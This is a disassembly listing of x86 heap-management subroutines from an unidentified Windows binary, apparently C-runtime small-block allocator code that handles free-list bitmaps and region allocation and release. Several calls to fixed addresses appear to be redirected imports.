		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41EBE7
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41EBE7:				; CODE XREF: sub_41EA6B+16Dj
					; sub_41EA6B+183j
		test	ecx, ecx
		jl	short loc_41EBF0
		shl	ecx, 1
		inc	edi
		jmp	short loc_41EBE7
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EA6B+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41EC0D
		push	3Fh
		pop	esi


loc_41EC0D:				; CODE XREF: sub_41EA6B+19Dj
		cmp	esi, edi
		jz	loc_41ED22
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41EC7E
		cmp	edi, 20h
		jge	short loc_41EC4D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC4D:				; CODE XREF: sub_41EA6B+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC7B:				; CODE XREF: sub_41EA6B+1D6j
					; sub_41EA6B+203j
		mov	ebx, [ebp+arg_0]


loc_41EC7E:				; CODE XREF: sub_41EA6B+1B0j
					; sub_41EA6B+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41ED2E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41ED1F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41ECF0
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ECDE
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41ECDE:				; CODE XREF: sub_41EA6B+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41ED1F
; ---------------------------------------------------------------------------


loc_41ECF0:				; CODE XREF: sub_41EA6B+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ED09
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41ED09:				; CODE XREF: sub_41EA6B+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41ED1F:				; CODE XREF: sub_41EA6B+24Ej
					; sub_41EA6B+283j
		mov	ecx, [ebp+var_8]


loc_41ED22:				; CODE XREF: sub_41EA6B+1A4j
		test	ecx, ecx
		jz	short loc_41ED31
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41ED31
; ---------------------------------------------------------------------------


loc_41ED2E:				; CODE XREF: sub_41EA6B+229j
		mov	ecx, [ebp+var_8]


loc_41ED31:				; CODE XREF: sub_41EA6B+2B9j
					; sub_41EA6B+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41ED67
		cmp	ebx, dword_4DD374
		jnz	short loc_41ED67
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DD36C
		jnz	short loc_41ED67
		and	dword_4DD374, 0


loc_41ED67:				; CODE XREF: sub_41EA6B+2E0j
					; sub_41EA6B+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41ED6F:				; CODE XREF: sub_41EA6B+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EA6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ED74	proc near		; CODE XREF: sub_41EA6B+CCp
		mov	eax, dword_4DD378
		mov	ecx, dword_4DD368
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41EDB7
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DD37C
		push	edi
		push	dword_4DD384
		nop
		call	near ptr 2870000h
		cmp	eax, edi
		jz	short loc_41EE07
		add	dword_4DD368, 10h
		mov	dword_4DD37C, eax
		mov	eax, dword_4DD378


loc_41EDB7:				; CODE XREF: sub_41ED74+11j
		mov	ecx, dword_4DD37C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DD384
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27E0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41EE07
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 2670443h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41EE0B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DD384
		nop
		call	near ptr 27D0000h


loc_41EE07:				; CODE XREF: sub_41ED74+30j
					; sub_41ED74+67j
		xor	eax, eax
		jmp	short loc_41EE22
; ---------------------------------------------------------------------------


loc_41EE0B:				; CODE XREF: sub_41ED74+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DD378
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41EE22:				; CODE XREF: sub_41ED74+95j
		pop	edi
		pop	esi
		retn
sub_41ED74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE25	proc near		; CODE XREF: sub_41EA6B+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41EE37:				; CODE XREF: sub_41EE25+19j
		test	eax, eax
		jl	short loc_41EE40
		shl	eax, 1
		inc	ebx
		jmp	short loc_41EE37
; ---------------------------------------------------------------------------


loc_41EE40:				; CODE XREF: sub_41EE25+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41EE55:				; CODE XREF: sub_41EE25+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41EE55
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	near ptr 2670443h
		nop
		test	eax, eax
		jnz	short loc_41EE88
		or	eax, 0FFFFFFFFh
		jmp	loc_41EF1B
; ---------------------------------------------------------------------------


loc_41EE88:				; CODE XREF: sub_41EE25+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41EECE
		lea	eax, [edi+10h]


loc_41EE95:				; CODE XREF: sub_41EE25+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41EE95


loc_41EECE:				; CODE XREF: sub_41EE25+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41EF0B
		or	[eax+4], edi


loc_41EF0B:				; CODE XREF: sub_41EE25+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41EF1B:				; CODE XREF: sub_41EE25+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF20	proc near		; CODE XREF: sub_41BBE2+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41F0CE
		test	bl, 1
		jnz	loc_41F0C7
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41F0C7
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41EF97
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41EF97:				; CODE XREF: sub_41EF20+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41EFE7
		cmp	ecx, 20h
		jnb	short loc_41EFC3
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EFE7
; ---------------------------------------------------------------------------


loc_41EFC3:				; CODE XREF: sub_41EF20+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EFE7:				; CODE XREF: sub_41EF20+7Dj
					; sub_41EF20+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41F0B5
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41F021
		push	3Fh
		pop	edi


loc_41F021:				; CODE XREF: sub_41EF20+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41F0A3
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41F07A
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F06D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41F06D:				; CODE XREF: sub_41EF20+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41F09F
; ---------------------------------------------------------------------------


loc_41F07A:				; CODE XREF: sub_41EF20+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F090
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41F090:				; CODE XREF: sub_41EF20+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41F09F:				; CODE XREF: sub_41EF20+158j
		shr	edx, cl
		or	[eax], edx


loc_41F0A3:				; CODE XREF: sub_41EF20+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41F0B8
; ---------------------------------------------------------------------------


loc_41F0B5:				; CODE XREF: sub_41EF20+E5j
		mov	edx, [ebp+arg_4]


loc_41F0B8:				; CODE XREF: sub_41EF20+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41F20E
; ---------------------------------------------------------------------------


loc_41F0C7:				; CODE XREF: sub_41EF20+52j
					; sub_41EF20+5Cj
		xor	eax, eax
		jmp	loc_41F211
; ---------------------------------------------------------------------------


loc_41F0CE:				; CODE XREF: sub_41EF20+49j
		jge	loc_41F20E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41F0F9
		push	3Fh
		pop	esi


loc_41F0F9:				; CODE XREF: sub_41EF20+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41F188
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F112
		push	3Fh
		pop	esi


loc_41F112:				; CODE XREF: sub_41EF20+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41F161
		cmp	esi, 20h
		jnb	short loc_41F13D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41F15E
; ---------------------------------------------------------------------------


loc_41F13D:				; CODE XREF: sub_41EF20+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41F15E:				; CODE XREF: sub_41EF20+214j
					; sub_41EF20+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41F161:				; CODE XREF: sub_41EF20+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F188
		push	3Fh
		pop	esi


loc_41F188:				; CODE XREF: sub_41EF20+1DDj
					; sub_41EF20+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41F205
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41F1DC
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1CF
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41F1CF:				; CODE XREF: sub_41EF20+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41F201
; ---------------------------------------------------------------------------


loc_41F1DC:				; CODE XREF: sub_41EF20+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1F2
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41F1F2:				; CODE XREF: sub_41EF20+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41F201:				; CODE XREF: sub_41EF20+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41F205:				; CODE XREF: sub_41EF20+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41F20E:				; CODE XREF: sub_41EF20+1A2j
					; sub_41EF20:loc_41F0CEj
		push	1
		pop	eax


loc_41F211:				; CODE XREF: sub_41EF20+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F216	proc near		; CODE XREF: sub_41F50E:loc_41F6DDp
		cmp	dword_43AE60, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41F22A
		mov	esi, offset off_43AE50
		jmp	short loc_41F247
; ---------------------------------------------------------------------------


loc_41F22A:				; CODE XREF: sub_41F216+Bj
		push	2020h
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27E0000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41F353


loc_41F247:				; CODE XREF: sub_41F216+12j
		mov	ebp, dword_427064
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41F33C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41F32E
		mov	eax, offset off_43AE50
		cmp	esi, eax
		jnz	short loc_41F2A6
		cmp	off_43AE50, 0
		jnz	short loc_41F296
		mov	off_43AE50, eax


loc_41F296:				; CODE XREF: sub_41F216+79j
		cmp	off_43AE54, 0
		jnz	short loc_41F2BB
		mov	off_43AE54, eax
		jmp	short loc_41F2BB
; ---------------------------------------------------------------------------


loc_41F2A6:				; CODE XREF: sub_41F216+70j
		mov	[esi], eax
		mov	eax, off_43AE54
		mov	[esi+4], eax
		mov	off_43AE54, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41F2BB:				; CODE XREF: sub_41F216+87j
					; sub_41F216+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41F2DD:				; CODE XREF: sub_41F216+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41F2DD
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_41F306:				; CODE XREF: sub_41F216+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41F32A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41F306
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F216+F7j
		mov	eax, esi
		jmp	short loc_41F355
; ---------------------------------------------------------------------------


loc_41F32E:				; CODE XREF: sub_41F216+63j
		push	8000h
		push	0
		push	edi
		call	near ptr 26705B4h
		nop


loc_41F33C:				; CODE XREF: sub_41F216+4Bj
		cmp	esi, offset off_43AE50
		jz	short loc_41F353
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27D0000h


loc_41F353:				; CODE XREF: sub_41F216+2Bj
					; sub_41F216+12Cj
		xor	eax, eax


loc_41F355:				; CODE XREF: sub_41F216+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F216	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F35A	proc near		; CODE XREF: sub_41F3B0+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	near ptr 26705B4h
		nop
		cmp	off_43CE70, esi
		jnz	short loc_41F37F
		mov	eax, [esi+4]
		mov	off_43CE70, eax


loc_41F37F:				; CODE XREF: sub_41F35A+1Bj
		cmp	esi, offset off_43AE50
		jz	short loc_41F3A7
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DD384
		nop
		call	near ptr 27D0000h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F3A7:				; CODE XREF: sub_41F35A+2Bj
		or	dword_43AE60, 0FFFFFFFFh
		pop	esi
		retn
sub_41F35A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F3B0	proc near		; CODE XREF: sub_41F4C9+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43AE54
		push	edi


loc_41F3BD:				; CODE XREF: sub_41F3B0+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41F45B
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41F3D6:				; CODE XREF: sub_41F3B0+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41F417
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 26705B4h
		test	eax, eax
		jz	short loc_41F417
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DBE40
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41F40C
		cmp	eax, edi
		jbe	short loc_41F40F


loc_41F40C:				; CODE XREF: sub_41F3B0+56j
		mov	[esi+0Ch], edi


loc_41F40F:				; CODE XREF: sub_41F3B0+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41F424


loc_41F417:				; CODE XREF: sub_41F3B0+2Cj
					; sub_41F3B0+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41F3D6


loc_41F424:				; CODE XREF: sub_41F3B0+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41F45B
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41F45B
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41F43B:				; CODE XREF: sub_41F3B0+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41F44C
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41F43B


loc_41F44C:				; CODE XREF: sub_41F3B0+8Ej
		cmp	edx, 400h
		jnz	short loc_41F45B
		push	ecx
		call	sub_41F35A
		pop	ecx


loc_41F45B:				; CODE XREF: sub_41F3B0+11j
					; sub_41F3B0+7Dj ...
		cmp	esi, off_43AE54
		jz	short loc_41F46D
		cmp	[ebp+arg_0], 0
		jg	loc_41F3BD


loc_41F46D:				; CODE XREF: sub_41F3B0+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F3B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F472	proc near		; CODE XREF: sub_41BA91+3Ap
					; sub_41BBE2+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43AE50
		push	esi
		mov	ecx, edx


loc_41F47E:				; CODE XREF: sub_41F472+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41F488
		cmp	eax, [ecx+14h]
		jb	short loc_41F490


loc_41F488:				; CODE XREF: sub_41F472+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41F4C5
		jmp	short loc_41F47E
; ---------------------------------------------------------------------------


loc_41F490:				; CODE XREF: sub_41F472+14j
		test	al, 0Fh
		jnz	short loc_41F4C5
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41F4C5
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41F4C5:				; CODE XREF: sub_41F472+1Aj
					; sub_41F472+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41F472	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F4C9	proc near		; CODE XREF: sub_41BA91+4Dp
					; sub_41BBE2+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41F50D
		inc	dword_4DBE40
		cmp	dword_4DBE40, 20h
		jnz	short locret_41F50D
		push	10h
		call	sub_41F3B0
		pop	ecx

locret_41F50D:				; CODE XREF: sub_41F4C9+2Bj
					; sub_41F4C9+3Aj
		retn
sub_41F4C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F50E	proc near		; CODE XREF: sub_41BBE2+1ACp
					; sub_41BEF3+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43CE70
		push	edi


loc_41F51C:				; CODE XREF: sub_41F50E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41F5C7
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41F581


loc_41F547:				; CODE XREF: sub_41F50E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41F56A
		cmp	[edi+4], ebx
		jbe	short loc_41F56A
		push	ebx
		push	ecx
		push	eax
		call	sub_41F716
		add	esp, 0Ch
